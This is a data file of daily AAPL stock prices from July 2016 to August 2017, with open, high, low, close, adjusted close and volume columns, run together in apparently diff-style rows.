-2016-07-25,98.25,98.83999633789062,96.91999816894531,97.33999633789062,92.0119400024414,40382900.0,AAPL -2016-07-26,96.81999969482422,97.97000122070312,96.41999816894531,96.66999816894531,91.37862396240234,56239800.0,AAPL -2016-07-27,104.2699966430664,104.3499984741211,102.75,102.94999694824219,97.31486511230469,92344800.0,AAPL -2016-07-28,102.83000183105469,104.44999694824219,102.81999969482422,104.33999633789062,98.62876892089844,39869800.0,AAPL -2016-07-29,104.19000244140625,104.55000305175781,103.68000030517578,104.20999908447266,98.50592041015625,27733700.0,AAPL -2016-08-01,104.41000366210938,106.1500015258789,104.41000366210938,106.05000305175781,100.24519348144531,38167900.0,AAPL -2016-08-02,106.05000305175781,106.06999969482422,104.0,104.4800033569336,98.76113891601562,33816600.0,AAPL -2016-08-03,104.80999755859375,105.83999633789062,104.7699966430664,105.79000091552734,99.99942779541016,30202600.0,AAPL -2016-08-04,105.58000183105469,106.0,105.27999877929688,105.87000274658203,100.6171875,27408700.0,AAPL -2016-08-05,106.2699966430664,107.6500015258789,106.18000030517578,107.4800033569336,102.14730072021484,40553400.0,AAPL -2016-08-08,107.5199966430664,108.37000274658203,107.16000366210938,108.37000274658203,102.99313354492188,28037200.0,AAPL -2016-08-09,108.2300033569336,108.94000244140625,108.01000213623047,108.80999755859375,103.41129302978516,26315200.0,AAPL -2016-08-10,108.70999908447266,108.9000015258789,107.76000213623047,108.0,102.64149475097656,24008500.0,AAPL -2016-08-11,108.5199966430664,108.93000030517578,107.8499984741211,107.93000030517578,102.57495880126953,27484500.0,AAPL -2016-08-12,107.77999877929688,108.44000244140625,107.77999877929688,108.18000030517578,102.81255340576172,18660400.0,AAPL -2016-08-15,108.13999938964844,109.54000091552734,108.08000183105469,109.4800033569336,104.0480728149414,25868200.0,AAPL -2016-08-16,109.62999725341797,110.2300033569336,109.20999908447266,109.37999725341797,103.9530258178711,33794400.0,AAPL -2016-08-17,109.0999984741211,109.37000274658203,108.33999633789062,109.22000122070312,103.80094909667969,25356000.0,AAPL -2016-08-18,109.2300033569336,109.5999984741211,109.0199966430664,109.08000183105469,103.66790771484375,21984700.0,AAPL -2016-08-19,108.7699966430664,109.69000244140625,108.36000061035156,109.36000061035156,103.93401336669922,25368100.0,AAPL -2016-08-22,108.86000061035156,109.0999984741211,107.8499984741211,108.51000213623047,103.1261978149414,25820200.0,AAPL -2016-08-23,108.58999633789062,109.31999969482422,108.52999877929688,108.8499984741211,103.4493179321289,21257700.0,AAPL -2016-08-24,108.56999969482422,108.75,107.68000030517578,108.02999877929688,102.67000579833984,23675100.0,AAPL -2016-08-25,107.38999938964844,107.87999725341797,106.68000030517578,107.56999969482422,102.23284149169922,25086200.0,AAPL -2016-08-26,107.41000366210938,107.94999694824219,106.30999755859375,106.94000244140625,101.63407897949219,27766300.0,AAPL -2016-08-29,106.62000274658203,107.44000244140625,106.29000091552734,106.81999969482422,101.52003479003906,24970300.0,AAPL -2016-08-30,105.80000305175781,106.5,105.5,106.0,100.74073791503906,24863900.0,AAPL -2016-08-31,105.66000366210938,106.56999969482422,105.63999938964844,106.0999984741211,100.83576202392578,29662400.0,AAPL -2016-09-01,106.13999938964844,106.80000305175781,105.62000274658203,106.7300033569336,101.43450927734375,26701500.0,AAPL -2016-09-02,107.69999694824219,108.0,106.81999969482422,107.7300033569336,102.38489532470703,26802500.0,AAPL -2016-09-06,107.9000015258789,108.30000305175781,107.51000213623047,107.69999694824219,102.35636901855469,26880400.0,AAPL -2016-09-07,107.83000183105469,108.76000213623047,107.06999969482422,108.36000061035156,102.98362731933594,42364300.0,AAPL -2016-09-08,107.25,107.2699966430664,105.23999786376953,105.5199966430664,100.28453063964844,53002000.0,AAPL -2016-09-09,104.63999938964844,105.72000122070312,103.12999725341797,103.12999725341797,98.01311492919922,46557000.0,AAPL -2016-09-12,102.6500015258789,105.72000122070312,102.52999877929688,105.44000244140625,100.2085189819336,45292800.0,AAPL -2016-09-13,107.51000213623047,108.79000091552734,107.23999786376953,107.94999694824219,102.59396362304688,62176200.0,AAPL -2016-09-14,108.7300033569336,113.02999877929688,108.5999984741211,111.7699966430664,106.22444915771484,110888700.0,AAPL -2016-09-15,113.86000061035156,115.7300033569336,113.48999786376953,115.56999969482422,109.83589935302734,89983600.0,AAPL -2016-09-16,115.12000274658203,116.12999725341797,114.04000091552734,114.91999816894531,109.21815490722656,79886900.0,AAPL -2016-09-19,115.19000244140625,116.18000030517578,113.25,113.58000183105469,107.94464111328125,47023000.0,AAPL -2016-09-20,113.05000305175781,114.12000274658203,112.51000213623047,113.56999969482422,107.93512725830078,34514300.0,AAPL -2016-09-21,113.8499984741211,113.98999786376953,112.44000244140625,113.55000305175781,107.9161148071289,36003200.0,AAPL -2016-09-22,114.3499984741211,114.94000244140625,114.0,114.62000274658203,108.93304443359375,31074000.0,AAPL -2016-09-23,114.41999816894531,114.79000091552734,111.55000305175781,112.70999908447266,107.11780548095703,52481200.0,AAPL -2016-09-26,111.63999938964844,113.38999938964844,111.55000305175781,112.87999725341797,107.27936553955078,29869400.0,AAPL -2016-09-27,113.0,113.18000030517578,112.33999633789062,113.08999633789062,107.47894287109375,24607400.0,AAPL -2016-09-28,113.69000244140625,114.63999938964844,113.43000030517578,113.94999694824219,108.29627990722656,29641100.0,AAPL -2016-09-29,113.16000366210938,113.80000305175781,111.80000305175781,112.18000030517578,106.6141128540039,35887000.0,AAPL -2016-09-30,112.45999908447266,113.37000274658203,111.80000305175781,113.05000305175781,107.44093322753906,36379100.0,AAPL -2016-10-03,112.70999908447266,113.05000305175781,112.27999877929688,112.5199966430664,106.93721008300781,21701800.0,AAPL -2016-10-04,113.05999755859375,114.30999755859375,112.62999725341797,113.0,107.3934097290039,29736800.0,AAPL -2016-10-05,113.4000015258789,113.66000366210938,112.69000244140625,113.05000305175781,107.44093322753906,21453100.0,AAPL -2016-10-06,113.69999694824219,114.33999633789062,113.12999725341797,113.88999938964844,108.23925018310547,28779300.0,AAPL -2016-10-07,114.30999755859375,114.55999755859375,113.51000213623047,114.05999755859375,108.40081787109375,24358400.0,AAPL -2016-10-10,115.0199966430664,116.75,114.72000122070312,116.05000305175781,110.29208374023438,36236000.0,AAPL -2016-10-11,117.69999694824219,118.69000244140625,116.19999694824219,116.30000305175781,110.52969360351562,64041000.0,AAPL -2016-10-12,117.3499984741211,117.9800033569336,116.75,117.33999633789062,111.51807403564453,37586800.0,AAPL -2016-10-13,116.79000091552734,117.44000244140625,115.72000122070312,116.9800033569336,111.17594146728516,35192400.0,AAPL -2016-10-14,117.87999725341797,118.16999816894531,117.12999725341797,117.62999725341797,111.79368591308594,35652200.0,AAPL -2016-10-17,117.33000183105469,117.83999633789062,116.77999877929688,117.55000305175781,111.71765899658203,23624900.0,AAPL -2016-10-18,118.18000030517578,118.20999908447266,117.44999694824219,117.47000122070312,111.64163208007812,24553500.0,AAPL -2016-10-19,117.25,117.76000213623047,113.80000305175781,117.12000274658203,111.30900573730469,20034600.0,AAPL -2016-10-20,116.86000061035156,117.37999725341797,116.33000183105469,117.05999755859375,111.25196838378906,24125800.0,AAPL -2016-10-21,116.80999755859375,116.91000366210938,116.27999877929688,116.5999984741211,110.81480407714844,23192700.0,AAPL -2016-10-24,117.0999984741211,117.73999786376953,117.0,117.6500015258789,111.81271362304688,23538700.0,AAPL -2016-10-25,117.94999694824219,118.36000061035156,117.30999755859375,118.25,112.38291931152344,48129000.0,AAPL -2016-10-26,114.30999755859375,115.69999694824219,113.30999755859375,115.58999633789062,109.85490417480469,66134200.0,AAPL -2016-10-27,115.38999938964844,115.86000061035156,114.0999984741211,114.4800033569336,108.79998016357422,34562000.0,AAPL -2016-10-28,113.87000274658203,115.20999908447266,113.44999694824219,113.72000122070312,108.07769775390625,37861700.0,AAPL -2016-10-31,113.6500015258789,114.2300033569336,113.19999694824219,113.54000091552734,107.90660858154297,26419400.0,AAPL -2016-11-01,113.45999908447266,113.7699966430664,110.52999877929688,111.48999786376953,105.95832824707031,43825800.0,AAPL -2016-11-02,111.4000015258789,112.3499984741211,111.2300033569336,111.58999633789062,106.05335998535156,28331700.0,AAPL -2016-11-03,110.9800033569336,111.45999908447266,109.55000305175781,109.83000183105469,104.9166259765625,26932600.0,AAPL -2016-11-04,108.52999877929688,110.25,108.11000061035156,108.83999633789062,103.97088623046875,30837000.0,AAPL -2016-11-07,110.08000183105469,110.51000213623047,109.45999908447266,110.41000366210938,105.47066497802734,32560000.0,AAPL -2016-11-08,110.30999755859375,111.72000122070312,109.69999694824219,111.05999755859375,106.09158325195312,24254200.0,AAPL -2016-11-09,109.87999725341797,111.31999969482422,108.05000305175781,110.87999725341797,105.91963958740234,59176400.0,AAPL -2016-11-10,111.08999633789062,111.08999633789062,105.83000183105469,107.79000091552734,102.96788024902344,57134500.0,AAPL -2016-11-11,107.12000274658203,108.87000274658203,106.55000305175781,108.43000030517578,103.57925415039062,34143900.0,AAPL -2016-11-14,107.70999908447266,107.80999755859375,104.08000183105469,105.70999908447266,100.98091888427734,51175500.0,AAPL -2016-11-15,106.56999969482422,107.68000030517578,106.16000366210938,107.11000061035156,102.31829071044922,32264500.0,AAPL -2016-11-16,106.69999694824219,110.2300033569336,106.5999984741211,109.98999786376953,105.06945037841797,58840500.0,AAPL -2016-11-17,109.80999755859375,110.3499984741211,108.83000183105469,109.94999694824219,105.0312271118164,27632000.0,AAPL -2016-11-18,109.72000122070312,110.54000091552734,109.66000366210938,110.05999755859375,105.13632202148438,28428900.0,AAPL -2016-11-21,110.12000274658203,111.98999786376953,110.01000213623047,111.7300033569336,106.73160552978516,29264600.0,AAPL -2016-11-22,111.94999694824219,112.41999816894531,111.4000015258789,111.80000305175781,106.79847717285156,25965500.0,AAPL -2016-11-23,111.36000061035156,111.51000213623047,110.33000183105469,111.2300033569336,106.25397491455078,27426400.0,AAPL -2016-11-25,111.12999725341797,111.87000274658203,110.94999694824219,111.79000091552734,106.78893280029297,11475900.0,AAPL -2016-11-28,111.43000030517578,112.47000122070312,111.38999938964844,111.56999969482422,106.57876586914062,27194000.0,AAPL -2016-11-29,110.77999877929688,112.02999877929688,110.06999969482422,111.45999908447266,106.47370147705078,28528800.0,AAPL -2016-11-30,111.5999984741211,112.19999694824219,110.2699966430664,110.5199966430664,105.57573699951172,36162300.0,AAPL -2016-12-01,110.37000274658203,110.94000244140625,109.02999877929688,109.48999786376953,104.59181213378906,37086900.0,AAPL -2016-12-02,109.16999816894531,110.08999633789062,108.8499984741211,109.9000015258789,104.98347473144531,26528000.0,AAPL -2016-12-05,110.0,110.02999877929688,108.25,109.11000061035156,104.22882080078125,34324500.0,AAPL -2016-12-06,109.5,110.36000061035156,109.19000244140625,109.94999694824219,105.0312271118164,26195500.0,AAPL -2016-12-07,109.26000213623047,111.19000244140625,109.16000366210938,111.02999877929688,106.06292724609375,29998700.0,AAPL -2016-12-08,110.86000061035156,112.43000030517578,110.5999984741211,112.12000274658203,107.10417175292969,27068300.0,AAPL -2016-12-09,112.30999755859375,114.69999694824219,112.30999755859375,113.94999694824219,108.852294921875,34402600.0,AAPL -2016-12-12,113.29000091552734,115.0,112.48999786376953,113.30000305175781,108.23138427734375,26374400.0,AAPL -2016-12-13,113.83999633789062,115.91999816894531,113.75,115.19000244140625,110.03682708740234,43733800.0,AAPL -2016-12-14,115.04000091552734,116.19999694824219,114.9800033569336,115.19000244140625,110.03682708740234,34031800.0,AAPL -2016-12-15,115.37999725341797,116.7300033569336,115.2300033569336,115.81999969482422,110.63862609863281,46524500.0,AAPL -2016-12-16,116.47000122070312,116.5,115.6500015258789,115.97000122070312,110.78192901611328,44351100.0,AAPL -2016-12-19,115.80000305175781,117.37999725341797,115.75,116.63999938964844,111.42194366455078,27779400.0,AAPL -2016-12-20,116.73999786376953,117.5,116.68000030517578,116.94999694824219,111.71808624267578,21425000.0,AAPL -2016-12-21,116.80000305175781,117.4000015258789,116.77999877929688,117.05999755859375,111.82317352294922,23783200.0,AAPL -2016-12-22,116.3499984741211,116.51000213623047,115.63999938964844,116.29000091552734,111.08760833740234,26085900.0,AAPL -2016-12-23,115.58999633789062,116.5199966430664,115.58999633789062,116.5199966430664,111.30731964111328,14249500.0,AAPL -2016-12-27,116.5199966430664,117.80000305175781,116.48999786376953,117.26000213623047,112.01421356201172,18296900.0,AAPL -2016-12-28,117.5199966430664,118.0199966430664,116.19999694824219,116.76000213623047,111.5365982055664,20905900.0,AAPL -2016-12-29,116.44999694824219,117.11000061035156,116.4000015258789,116.7300033569336,111.50792694091797,15039500.0,AAPL -2016-12-30,116.6500015258789,117.19999694824219,115.43000030517578,115.81999969482422,110.63862609863281,30586300.0,AAPL -2017-01-03,115.80000305175781,116.33000183105469,114.76000213623047,116.1500015258789,110.95387268066406,28781900.0,AAPL -2017-01-04,115.8499984741211,116.51000213623047,115.75,116.0199966430664,110.82970428466797,21118100.0,AAPL -2017-01-05,115.91999816894531,116.86000061035156,115.80999755859375,116.61000061035156,111.39330291748047,22193600.0,AAPL -2017-01-06,116.77999877929688,118.16000366210938,116.47000122070312,117.91000366210938,112.63513946533203,31751900.0,AAPL -2017-01-09,117.94999694824219,119.43000030517578,117.94000244140625,118.98999786376953,113.66682434082031,33561900.0,AAPL -2017-01-10,118.7699966430664,119.37999725341797,118.30000305175781,119.11000061035156,113.78146362304688,24462100.0,AAPL -2017-01-11,118.73999786376953,119.93000030517578,118.5999984741211,119.75,114.392822265625,27588600.0,AAPL -2017-01-12,118.9000015258789,119.30000305175781,118.20999908447266,119.25,113.9151840209961,27086200.0,AAPL -2017-01-13,119.11000061035156,119.62000274658203,118.80999755859375,119.04000091552734,113.71458435058594,26111900.0,AAPL -2017-01-17,118.33999633789062,120.23999786376953,118.22000122070312,120.0,114.63165283203125,34439800.0,AAPL -2017-01-18,120.0,120.5,119.70999908447266,119.98999786376953,114.62208557128906,23713000.0,AAPL -2017-01-19,119.4000015258789,120.08999633789062,119.37000274658203,119.77999877929688,114.4214859008789,25597300.0,AAPL -2017-01-20,120.44999694824219,120.44999694824219,119.7300033569336,120.0,114.63165283203125,32597900.0,AAPL -2017-01-23,120.0,120.80999755859375,119.7699966430664,120.08000183105469,114.70806121826172,22050200.0,AAPL -2017-01-24,119.55000305175781,120.0999984741211,119.5,119.97000122070312,114.60298156738281,23211000.0,AAPL -2017-01-25,120.41999816894531,122.0999984741211,120.27999877929688,121.87999725341797,116.42753601074219,32377600.0,AAPL -2017-01-26,121.66999816894531,122.44000244140625,121.5999984741211,121.94000244140625,116.48485565185547,26337600.0,AAPL -2017-01-27,122.13999938964844,122.3499984741211,121.5999984741211,121.94999694824219,116.49441528320312,20562900.0,AAPL -2017-01-30,120.93000030517578,121.62999725341797,120.66000366210938,121.62999725341797,116.18870544433594,30377500.0,AAPL -2017-01-31,121.1500015258789,121.38999938964844,120.62000274658203,121.3499984741211,115.92122650146484,49201000.0,AAPL -2017-02-01,127.02999877929688,130.49000549316406,127.01000213623047,128.75,122.99018859863281,111985000.0,AAPL -2017-02-02,127.9800033569336,129.38999938964844,127.77999877929688,128.52999877929688,122.78004455566406,33710400.0,AAPL -2017-02-03,128.30999755859375,129.19000244140625,128.16000366210938,129.0800018310547,123.30543518066406,24507300.0,AAPL -2017-02-06,129.1300048828125,130.5,128.89999389648438,130.2899932861328,124.46131134033203,26845900.0,AAPL -2017-02-07,130.5399932861328,132.08999633789062,130.4499969482422,131.52999877929688,125.64580535888672,38183800.0,AAPL -2017-02-08,131.35000610351562,132.22000122070312,131.22000122070312,132.0399932861328,126.13301849365234,23004100.0,AAPL -2017-02-09,131.64999389648438,132.4499969482422,131.1199951171875,132.4199981689453,127.04444885253906,28349900.0,AAPL -2017-02-10,132.4600067138672,132.94000244140625,132.0500030517578,132.1199951171875,126.7566146850586,20065500.0,AAPL -2017-02-13,133.0800018310547,133.82000732421875,132.75,133.2899932861328,127.87910461425781,23035400.0,AAPL -2017-02-14,133.47000122070312,135.08999633789062,133.25,135.02000427246094,129.53890991210938,33226200.0,AAPL -2017-02-15,135.52000427246094,136.27000427246094,134.6199951171875,135.50999450683594,130.00901794433594,35623100.0,AAPL -2017-02-16,135.6699981689453,135.89999389648438,134.83999633789062,135.35000610351562,129.85549926757812,22584600.0,AAPL -2017-02-17,135.10000610351562,135.8300018310547,135.10000610351562,135.72000122070312,130.2105255126953,22198200.0,AAPL -2017-02-21,136.22999572753906,136.75,135.97999572753906,136.6999969482422,131.15072631835938,24507200.0,AAPL -2017-02-22,136.42999267578125,137.1199951171875,136.11000061035156,137.11000061035156,131.54405212402344,20836900.0,AAPL -2017-02-23,137.3800048828125,137.47999572753906,136.3000030517578,136.52999877929688,130.98760986328125,20788200.0,AAPL -2017-02-24,135.91000366210938,136.66000366210938,135.27999877929688,136.66000366210938,131.1123504638672,21776600.0,AAPL -2017-02-27,137.13999938964844,137.44000244140625,136.27999877929688,136.92999267578125,131.37136840820312,20257400.0,AAPL -2017-02-28,137.0800018310547,137.44000244140625,136.6999969482422,136.99000549316406,131.428955078125,23482900.0,AAPL -2017-03-01,137.88999938964844,140.14999389648438,137.60000610351562,139.7899932861328,134.1152801513672,36414600.0,AAPL -2017-03-02,140.0,140.27999877929688,138.75999450683594,138.9600067138672,133.31893920898438,26211000.0,AAPL -2017-03-03,138.77999877929688,139.8300018310547,138.58999633789062,139.77999877929688,134.10565185546875,21108100.0,AAPL -2017-03-06,139.3699951171875,139.77000427246094,138.60000610351562,139.33999633789062,133.6835174560547,21750000.0,AAPL -2017-03-07,139.05999755859375,139.97999572753906,138.7899932861328,139.52000427246094,133.85623168945312,17446300.0,AAPL -2017-03-08,138.9499969482422,139.8000030517578,138.82000732421875,139.0,133.35731506347656,18707200.0,AAPL -2017-03-09,138.74000549316406,138.7899932861328,137.0500030517578,138.67999267578125,133.05032348632812,22155900.0,AAPL -2017-03-10,139.25,139.36000061035156,138.63999938964844,139.13999938964844,133.49166870117188,19612800.0,AAPL -2017-03-13,138.85000610351562,139.42999267578125,138.82000732421875,139.1999969482422,133.5491943359375,17421700.0,AAPL -2017-03-14,139.3000030517578,139.64999389648438,138.83999633789062,138.99000549316406,133.34776306152344,15309100.0,AAPL -2017-03-15,139.41000366210938,140.75,139.02999877929688,140.4600067138672,134.75808715820312,25691800.0,AAPL -2017-03-16,140.72000122070312,141.02000427246094,140.25999450683594,140.69000244140625,134.9787139892578,19232000.0,AAPL -2017-03-17,141.0,141.0,139.88999938964844,139.99000549316406,134.30715942382812,43885000.0,AAPL -2017-03-20,140.39999389648438,141.5,140.22999572753906,141.4600067138672,135.7174835205078,21542000.0,AAPL -2017-03-21,142.11000061035156,142.8000030517578,139.72999572753906,139.83999633789062,134.16322326660156,39529900.0,AAPL -2017-03-22,139.85000610351562,141.60000610351562,139.75999450683594,141.4199981689453,135.67909240722656,25860200.0,AAPL -2017-03-23,141.25999450683594,141.5800018310547,140.61000061035156,140.9199981689453,135.19937133789062,20346300.0,AAPL -2017-03-24,141.5,141.74000549316406,140.35000610351562,140.63999938964844,134.93075561523438,22395600.0,AAPL -2017-03-27,139.38999938964844,141.22000122070312,138.6199951171875,140.8800048828125,135.16102600097656,23575100.0,AAPL -2017-03-28,140.91000366210938,144.0399932861328,140.6199951171875,143.8000030517578,137.9624786376953,33374800.0,AAPL -2017-03-29,143.67999267578125,144.49000549316406,143.19000244140625,144.1199951171875,138.2694854736328,29190000.0,AAPL -2017-03-30,144.19000244140625,144.5,143.5,143.92999267578125,138.08718872070312,21207300.0,AAPL -2017-03-31,143.72000122070312,144.27000427246094,143.00999450683594,143.66000366210938,137.8281707763672,19661700.0,AAPL -2017-04-03,143.7100067138672,144.1199951171875,143.0500030517578,143.6999969482422,137.86654663085938,19985700.0,AAPL -2017-04-04,143.25,144.88999938964844,143.1699981689453,144.77000427246094,138.89312744140625,19891400.0,AAPL -2017-04-05,144.22000122070312,145.4600067138672,143.80999755859375,144.02000427246094,138.17355346679688,27717900.0,AAPL -2017-04-06,144.2899932861328,144.52000427246094,143.4499969482422,143.66000366210938,137.8281707763672,21149000.0,AAPL -2017-04-07,143.72999572753906,144.17999267578125,143.27000427246094,143.33999633789062,137.52114868164062,16672200.0,AAPL -2017-04-10,143.60000610351562,143.8800048828125,142.89999389648438,143.1699981689453,137.35806274414062,18933400.0,AAPL -2017-04-11,142.94000244140625,143.35000610351562,140.05999755859375,141.6300048828125,135.88058471679688,30379400.0,AAPL -2017-04-12,141.60000610351562,142.14999389648438,141.00999450683594,141.8000030517578,136.0436553955078,20350000.0,AAPL -2017-04-13,141.91000366210938,142.3800048828125,141.0500030517578,141.0500030517578,135.32415771484375,17822900.0,AAPL -2017-04-17,141.47999572753906,141.8800048828125,140.8699951171875,141.8300018310547,136.07244873046875,16582100.0,AAPL -2017-04-18,141.41000366210938,142.0399932861328,141.11000061035156,141.1999969482422,135.46803283691406,14697500.0,AAPL -2017-04-19,141.8800048828125,142.0,140.4499969482422,140.67999267578125,134.9691162109375,17328400.0,AAPL -2017-04-20,141.22000122070312,142.9199981689453,141.16000366210938,142.44000244140625,136.65771484375,23319600.0,AAPL -2017-04-21,142.44000244140625,142.67999267578125,141.85000610351562,142.27000427246094,136.49459838867188,17320900.0,AAPL -2017-04-24,143.5,143.9499969482422,143.17999267578125,143.63999938964844,137.8090057373047,17134300.0,AAPL -2017-04-25,143.91000366210938,144.89999389648438,143.8699951171875,144.52999877929688,138.66285705566406,18871500.0,AAPL -2017-04-26,144.47000122070312,144.60000610351562,143.3800048828125,143.67999267578125,137.84735107421875,20041200.0,AAPL -2017-04-27,143.9199981689453,144.16000366210938,143.30999755859375,143.7899932861328,137.95286560058594,14246300.0,AAPL -2017-04-28,144.08999633789062,144.3000030517578,143.27000427246094,143.64999389648438,137.8185577392578,20860400.0,AAPL -2017-05-01,145.10000610351562,147.1999969482422,144.9600067138672,146.5800018310547,140.629638671875,33602900.0,AAPL -2017-05-02,147.5399932861328,148.08999633789062,146.83999633789062,147.50999450683594,141.5218963623047,45352200.0,AAPL -2017-05-03,145.58999633789062,147.49000549316406,144.27000427246094,147.05999755859375,141.09014892578125,45697000.0,AAPL -2017-05-04,146.52000427246094,147.13999938964844,145.80999755859375,146.52999877929688,140.58164978027344,23371900.0,AAPL -2017-05-05,146.75999450683594,148.97999572753906,146.75999450683594,148.9600067138672,142.9130096435547,27327700.0,AAPL -2017-05-08,149.02999877929688,153.6999969482422,149.02999877929688,153.00999450683594,146.79861450195312,48752400.0,AAPL -2017-05-09,153.8699951171875,154.8800048828125,153.4499969482422,153.99000549316406,147.73880004882812,39130400.0,AAPL -2017-05-10,153.6300048828125,153.94000244140625,152.11000061035156,153.25999450683594,147.03846740722656,25805700.0,AAPL -2017-05-11,152.4499969482422,154.07000732421875,152.30999755859375,153.9499969482422,148.31008911132812,27255100.0,AAPL -2017-05-12,154.6999969482422,156.4199981689453,154.6699981689453,156.10000610351562,150.38131713867188,32527000.0,AAPL -2017-05-15,156.00999450683594,156.64999389648438,155.0500030517578,155.6999969482422,149.99598693847656,26009700.0,AAPL -2017-05-16,155.94000244140625,156.05999755859375,154.72000122070312,155.47000122070312,149.7744140625,20048500.0,AAPL -2017-05-17,153.60000610351562,154.57000732421875,149.7100067138672,150.25,144.74563598632812,50767700.0,AAPL -2017-05-18,151.27000427246094,153.33999633789062,151.1300048828125,152.5399932861328,146.9517364501953,33568200.0,AAPL -2017-05-19,153.3800048828125,153.97999572753906,152.6300048828125,153.05999755859375,147.4526824951172,26960800.0,AAPL -2017-05-22,154.0,154.5800018310547,152.91000366210938,153.99000549316406,148.34864807128906,22966400.0,AAPL -2017-05-23,154.89999389648438,154.89999389648438,153.30999755859375,153.8000030517578,148.1655731201172,19918900.0,AAPL -2017-05-24,153.83999633789062,154.1699981689453,152.6699981689453,153.33999633789062,147.72244262695312,19178000.0,AAPL -2017-05-25,153.72999572753906,154.35000610351562,153.02999877929688,153.8699951171875,148.2329864501953,19235600.0,AAPL -2017-05-26,154.0,154.24000549316406,153.30999755859375,153.61000061035156,147.98255920410156,21927600.0,AAPL -2017-05-30,153.4199981689453,154.42999267578125,153.3300018310547,153.6699981689453,148.0403594970703,20126900.0,AAPL -2017-05-31,153.97000122070312,154.1699981689453,152.3800048828125,152.75999450683594,147.16368103027344,24451200.0,AAPL -2017-06-01,153.1699981689453,153.3300018310547,152.22000122070312,153.17999267578125,147.56829833984375,16404100.0,AAPL -2017-06-02,153.5800018310547,155.4499969482422,152.88999938964844,155.4499969482422,149.75515747070312,27770700.0,AAPL -2017-06-05,154.33999633789062,154.4499969482422,153.4600067138672,153.92999267578125,148.2908172607422,25331700.0,AAPL -2017-06-06,153.89999389648438,155.80999755859375,153.77999877929688,154.4499969482422,148.79177856445312,26624900.0,AAPL -2017-06-07,155.02000427246094,155.97999572753906,154.47999572753906,155.3699951171875,149.67807006835938,21069600.0,AAPL -2017-06-08,155.25,155.5399932861328,154.39999389648438,154.99000549316406,149.31199645996094,21250800.0,AAPL -2017-06-09,155.19000244140625,155.19000244140625,146.02000427246094,148.97999572753906,143.5221405029297,64882700.0,AAPL -2017-06-12,145.74000549316406,146.08999633789062,142.50999450683594,145.4199981689453,140.09259033203125,72307300.0,AAPL -2017-06-13,147.16000366210938,147.4499969482422,145.14999389648438,146.58999633789062,141.21974182128906,34165400.0,AAPL -2017-06-14,147.5,147.5,143.83999633789062,145.16000366210938,139.84213256835938,31531200.0,AAPL -2017-06-15,143.32000732421875,144.47999572753906,142.2100067138672,144.2899932861328,139.0039520263672,32165400.0,AAPL -2017-06-16,143.77999877929688,144.5,142.1999969482422,142.27000427246094,137.0579833984375,50361100.0,AAPL -2017-06-19,143.66000366210938,146.74000549316406,143.66000366210938,146.33999633789062,140.9788818359375,32541400.0,AAPL -2017-06-20,146.8699951171875,146.8699951171875,144.94000244140625,145.00999450683594,139.69760131835938,24900100.0,AAPL -2017-06-21,145.52000427246094,146.07000732421875,144.61000061035156,145.8699951171875,140.52609252929688,21265800.0,AAPL -2017-06-22,145.77000427246094,146.6999969482422,145.1199951171875,145.6300048828125,140.294921875,19106300.0,AAPL -2017-06-23,145.1300048828125,147.16000366210938,145.11000061035156,146.27999877929688,140.92108154296875,35439400.0,AAPL -2017-06-26,147.1699981689453,148.27999877929688,145.3800048828125,145.82000732421875,140.4779510498047,25692400.0,AAPL -2017-06-27,145.00999450683594,146.16000366210938,143.6199951171875,143.72999572753906,138.46449279785156,24761900.0,AAPL -2017-06-28,144.49000549316406,146.11000061035156,143.16000366210938,145.8300018310547,140.48757934570312,22082400.0,AAPL -2017-06-29,144.7100067138672,145.1300048828125,142.27999877929688,143.67999267578125,138.41632080078125,31499400.0,AAPL -2017-06-30,144.4499969482422,144.9600067138672,143.77999877929688,144.02000427246094,138.743896484375,23024100.0,AAPL -2017-07-03,144.8800048828125,145.3000030517578,143.10000610351562,143.5,138.24290466308594,14277800.0,AAPL -2017-07-05,143.69000244140625,144.7899932861328,142.72000122070312,144.08999633789062,138.81130981445312,21569600.0,AAPL -2017-07-06,143.02000427246094,143.5,142.41000366210938,142.72999572753906,137.5011444091797,24128800.0,AAPL -2017-07-07,142.89999389648438,144.75,142.89999389648438,144.17999267578125,138.89801025390625,19201700.0,AAPL -2017-07-10,144.11000061035156,145.9499969482422,143.3699951171875,145.05999755859375,139.74575805664062,21090600.0,AAPL -2017-07-11,144.72999572753906,145.85000610351562,144.3800048828125,145.52999877929688,140.19854736328125,19781800.0,AAPL -2017-07-12,145.8699951171875,146.17999267578125,144.82000732421875,145.74000549316406,140.40086364746094,24884500.0,AAPL -2017-07-13,145.5,148.49000549316406,145.44000244140625,147.77000427246094,142.3565216064453,25199400.0,AAPL -2017-07-14,147.97000122070312,149.3300018310547,147.3300018310547,149.0399932861328,143.5799560546875,20132100.0,AAPL -2017-07-17,148.82000732421875,150.89999389648438,148.57000732421875,149.55999755859375,144.0808868408203,23793500.0,AAPL -2017-07-18,149.1999969482422,150.1300048828125,148.6699981689453,150.0800018310547,144.58187866210938,17868800.0,AAPL -2017-07-19,150.47999572753906,151.4199981689453,149.9499969482422,151.02000427246094,145.4874267578125,20923000.0,AAPL -2017-07-20,151.5,151.74000549316406,150.19000244140625,150.33999633789062,144.83233642578125,17243700.0,AAPL -2017-07-21,149.99000549316406,150.44000244140625,148.8800048828125,150.27000427246094,144.76490783691406,26252600.0,AAPL -2017-07-24,150.5800018310547,152.44000244140625,149.89999389648438,152.08999633789062,146.51824951171875,21493200.0,AAPL -2017-07-25,151.8000030517578,153.83999633789062,151.8000030517578,152.74000549316406,147.14442443847656,18853900.0,AAPL -2017-07-26,153.35000610351562,153.92999267578125,153.05999755859375,153.4600067138672,147.8380584716797,15781000.0,AAPL -2017-07-27,153.75,153.99000549316406,147.3000030517578,150.55999755859375,145.04428100585938,32476300.0,AAPL -2017-07-28,149.88999938964844,150.22999572753906,149.19000244140625,149.5,144.0231170654297,17213700.0,AAPL -2017-07-31,149.89999389648438,150.3300018310547,148.1300048828125,148.72999572753906,143.28131103515625,19845900.0,AAPL -2017-08-01,149.10000610351562,150.22000122070312,148.41000366210938,150.0500030517578,144.55296325683594,35368600.0,AAPL -2017-08-02,159.27999877929688,159.75,156.16000366210938,157.13999938964844,151.3832244873047,69936800.0,AAPL -2017-08-03,157.0500030517578,157.2100067138672,155.02000427246094,155.57000732421875,149.87074279785156,27097300.0,AAPL -2017-08-04,156.07000732421875,157.39999389648438,155.69000244140625,156.38999938964844,150.6607208251953,20559900.0,AAPL -2017-08-07,157.05999755859375,158.9199981689453,156.6699981689453,158.80999755859375,152.9920654296875,21870300.0,AAPL -2017-08-08,158.60000610351562,161.8300018310547,158.27000427246094,160.0800018310547,154.2155303955078,36205900.0,AAPL 